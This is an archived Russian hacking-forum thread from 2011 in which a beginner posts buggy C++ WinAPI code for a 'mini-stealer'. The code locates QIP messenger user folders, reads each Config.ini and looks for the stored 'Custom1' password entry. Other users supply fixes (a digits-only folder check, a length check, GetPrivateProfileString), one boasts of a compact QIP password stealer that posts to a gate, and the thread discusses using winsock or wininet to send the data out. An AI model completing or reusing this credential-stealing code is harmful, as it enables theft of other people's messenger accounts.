Добро пожаловать! Это — архивная версия форумов на «Хакер.Ru». Она работает в режиме read-only.
 

WINAPI C++ министиллер qip посмотрите в чем ошибка кода

Пользователи, просматривающие топик: none

Зашли как: Guest
Все форумы >> [Компилируемые языки] >> WINAPI C++ министиллер qip посмотрите в чем ошибка кода
Имя
Сообщение << Старые топики   Новые топики >>
WINAPI C++ министиллер qip посмотрите в чем ошибка кода - 2011-08-29 16:40:11.790000   
Аpathy^^

Сообщений: 504
Оценки: 10
Присоединился: 2011-08-02 18:35:14.340000
В ходе исследования вышло 2 вопроса:
1)как правильно проверить то,что в названии папки должны быть цифры одни.
2)как проверить что бы поле custom не пустое но еще и имеет длину 72
//--------------------------------------------------------------------------- #include &lt;vcl.h&gt; #include &lt;windows.h&gt; #pragma hdrstop #include &lt;tchar.h&gt; #include &lt;io.h&gt; #include &lt;stdio.h&gt; //--------------------------------------------------------------------------- bool FileExists(const char *fname) &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; { &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp; return access(fname, 0) != -1; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; } #pragma argsused WINAPI _tWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPTSTR lpCmdLine, int nCmdShow) { WIN32_FIND_DATA uin,cfg; HANDLE f,config; FILE *file; AnsiString s,put,pass,s2; int i; char buf[100]; f=FindFirstFile("C:\\Program Files\\QIP\\Users\\*",&amp;uin); if(f!=INVALID_HANDLE_VALUE){ do{ s=uin.cFileName; if(StrToInt(s)){ //ошибки начинаются вроде бы отсюда пишет про какую то чертову точку &nbsp;&nbsp;&nbsp; put="c:\\Program Files\\QIP\\Users\\"+s+"\\Config.ini"; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; if(FileExists(put.c_str())){ &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; if((file=fopen(put.c_str(),"rt"))!=NULL){ &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; while(!feof(file)){ &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; fgets(buf,1,file); &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; pass=buf; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; if((pass.Pos("Custom1")!=0)&amp;&amp;strlen(pass.c_str())==72)//тут действия &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; } &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; fclose(file); &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; } &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; } &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp; } &nbsp;&nbsp;&nbsp; } while(FindNextFile(f,&amp;uin)); FindClose(f);} return 0; }
ps код убог,я знаю - я только начинаю
pss  х3 как выудить папки с названиями равными уинам,поэтому мне пришлось прикрепить vcl:@
Post #: 1
RE: WINAPI C++ министиллер qip посмотрите в чем ошибка кода - 2011-08-29 17:24:04.293333   
Flint_ta

Сообщений: 3720
Оценки: 1120
Присоединился: 2007-01-26 15:49:18.323333
Я конечно в С++ не знаток, но: StrToInt(s) это вроде преобразование типа строковой переменной в целочисленное. Зачем вы s=uin.cFileName имя переводите в целочисленное? А по хорошему учитесь отлаживать ваш код.
Post #: 2
RE: WINAPI C++ министиллер qip посмотрите в чем ошибка кода - 2011-08-29 18:02:23.930000   
Аpathy^^

Сообщений: 504
Оценки: 10
Присоединился: 2011-08-02 18:35:14.340000
логика такая- папка с файлом конфига в квипе имеет название равное уину…
если преобразование удается то папка имело в себе только цифры…т.е так происходит отсев лишних папок
Post #: 3
RE: WINAPI C++ министиллер qip посмотрите в чем ошибка кода - 2011-08-29 19:34:14.826666   
Flint_ta

Сообщений: 3720
Оценки: 1120
Присоединился: 2007-01-26 15:49:18.323333
А если не удается -приложение падает. Следует поставить обработчик исключений.
Post #: 4
RE: WINAPI C++ министиллер qip посмотрите в чем ошибка кода - 2011-08-29 19:45:02.376666   
Аpathy^^

Сообщений: 504
Оценки: 10
Присоединился: 2011-08-02 18:35:14.340000
quote:

ORIGINAL: Flint_ta

А если не удается -приложение падает. Следует поставить обработчик исключений.

так и поступил - на данном этапе ищу интересующие строки в файле
Post #: 5
RE: WINAPI C++ министиллер qip посмотрите в чем ошибка кода - 2011-08-29 20:23:54.306666   
vvviperrr

Сообщений: 301
Оценки: 0
Присоединился: 2007-03-20 21:33:16.790000
quote:

1)как правильно проверить то,что в названии папки должны быть цифры одни.

inline bool isOnlyNumbers(const std::string &str) { return !str.empty() && std::find_if(str.begin(), str.end(), std::not1(ptr_fun(::isdigit))) == str.end(); }
quote:

2)как проверить что бы поле custom не пустое но еще и имеет длину 72


if (custom[0] != 0 && strlen(custom) == 72) { // all ok }
пс. господи, какое же убожество этот форум. раньше то не особо был, теперь вообще кошмар. лаги страшенные, при входе куки запоминает через раз, входшь с одной страницы, редиректит на соседний тред. одна реклама, на юзеров срать
Post #: 6
RE: WINAPI C++ министиллер qip посмотрите в чем ошибка кода - 2011-08-29 20:36:02.720000   
VаZoNeZ

Сообщений: 250
Оценки: 0
Присоединился: 2010-06-22 18:35:43.170000

quote:

ORIGINAL: Аpathy^^

логика такая- папка с файлом конфига в квипе имеет название равное уину…
если преобразование удается то папка имело в себе только цифры…т.е так происходит отсев лишних папок

Тонкий намёк — ничего не отсеивай. Создавай путь и пробуй открывать, нахрен тебе лишний код? Да, и еще GetPrivateProfileString

А вообще, судя по топику, начинай-ка лучше не со стилера, а с чего-нибудь попроще.
Post #: 7
RE: WINAPI C++ министиллер qip посмотрите в чем ошибка кода - 2011-08-29 20:41:20.493333   
Аpathy^^

Сообщений: 504
Оценки: 10
Присоединился: 2011-08-02 18:35:14.340000
quote:

ORIGINAL: VаZoNeZ

quote:

ORIGINAL: Аpathy^^

логика такая- папка с файлом конфига в квипе имеет название равное уину…
если преобразование удается то папка имело в себе только цифры…т.е так происходит отсев лишних папок

Тонкий намёк — ничего не отсеивай. Создавай путь и пробуй открывать, нахрен тебе лишний код? Да, и еще GetPrivateProfileString

А вообще, судя по топику, начинай-ка лучше не со стилера, а с чего-нибудь попроще.

1)по поводу кастом дак сначала нужно мне как-то спарсить символ после равно если он пуст break;
с удовольствия выслушаю ваши предложения…
ps может кто-то добрый оставит свои контакты, от себя обещаю не доставать вопросами, и безграничную благодарность но я бедный студент денег -0 если кто-то все таки решит прошу в пм

Post #: 8
RE: WINAPI C++ министиллер qip посмотрите в чем ошибка кода - 2011-08-30 06:13:24.256666   
Sunzer

Сообщений: 253
Оценки: 31190
Присоединился: 2007-06-15 19:23:32.436666
У меня в 900 байт есть стилер пароля от QIP 8095 + отправка на гейт )
Post #: 9
RE: WINAPI C++ министиллер qip посмотрите в чем ошибка кода - 2011-08-30 06:34:53.686666   
Аpathy^^

Сообщений: 504
Оценки: 10
Присоединился: 2011-08-02 18:35:14.340000
quote:

ORIGINAL: Sunzer

У меня в 900 байт есть стилер пароля от QIP 8095 + отправка на гейт )

яп какой?
Post #: 10
RE: WINAPI C++ министиллер qip посмотрите в чем ошибка кода - 2011-08-30 08:14:34.120000   
Sunzer

Сообщений: 253
Оценки: 31190
Присоединился: 2007-06-15 19:23:32.436666
quote:

яп какой?


масм, конечный файл еще руками правда допилен.
Post #: 11
RE: WINAPI C++ министиллер qip посмотрите в чем ошибка кода - 2011-08-30 12:42:43.126666   
Аpathy^^

Сообщений: 504
Оценки: 10
Присоединился: 2011-08-02 18:35:14.340000
я с++ то толком не знаю ты мне масм хвастаешься:)
вопрос:если допишу может кто-помочь с оптимизацией???
вопрос:какой тип нужно юзать в рад 2009 чтобы можно было отказаться от vcl.h которое прибавляет основной вес
вопрос:какой лучше метод исколькозовать для отправки гет-запроса: winsock или wininet???
Post #: 12
RE: WINAPI C++ министиллер qip посмотрите в чем ошибка кода - 2011-08-30 13:06:25.153333   
VаZoNeZ

Сообщений: 250
Оценки: 0
Присоединился: 2010-06-22 18:35:43.170000

quote:

ORIGINAL: Аpathy^^

я с++ то толком не знаю ты мне масм хвастаешься:)
вопрос:если допишу может кто-помочь с оптимизацией???
вопрос:какой тип нужно юзать в рад 2009 чтобы можно было отказаться от vcl.h которое прибавляет основной вес
вопрос:какой лучше метод исколькозовать для отправки гет-запроса: winsock или wininet???

ответ: начинать не со стилеров и другой малвари, а чего-нибудь более простого, мирного чтоли.
Post #: 13
RE: WINAPI C++ министиллер qip посмотрите в чем ошибка кода - 2011-08-30 14:35:43.406666   
Аpathy^^

Сообщений: 504
Оценки: 10
Присоединился: 2011-08-02 18:35:14.340000
quote:

ORIGINAL: VаZoNeZ

quote:

ORIGINAL: Аpathy^^

я с++ то толком не знаю ты мне масм хвастаешься:)
вопрос:если допишу может кто-помочь с оптимизацией???
вопрос:какой тип нужно юзать в рад 2009 чтобы можно было отказаться от vcl.h которое прибавляет основной вес
вопрос:какой лучше метод исколькозовать для отправки гет-запроса: winsock или wininet???

ответ: начинать не со стилеров и другой малвари, а чего-нибудь более простого, мирного чтоли.

что именно можно написать чтобы изучить winapi?
Post #: 14
Страниц:  [1]
Все форумы >> [Компилируемые языки] >> WINAPI C++ министиллер qip посмотрите в чем ошибка кода







Связаться:
Вопросы по сайту / xakep@glc.ru

Предупреждение: использование полученных знаний в противозаконных целях преследуется по закону.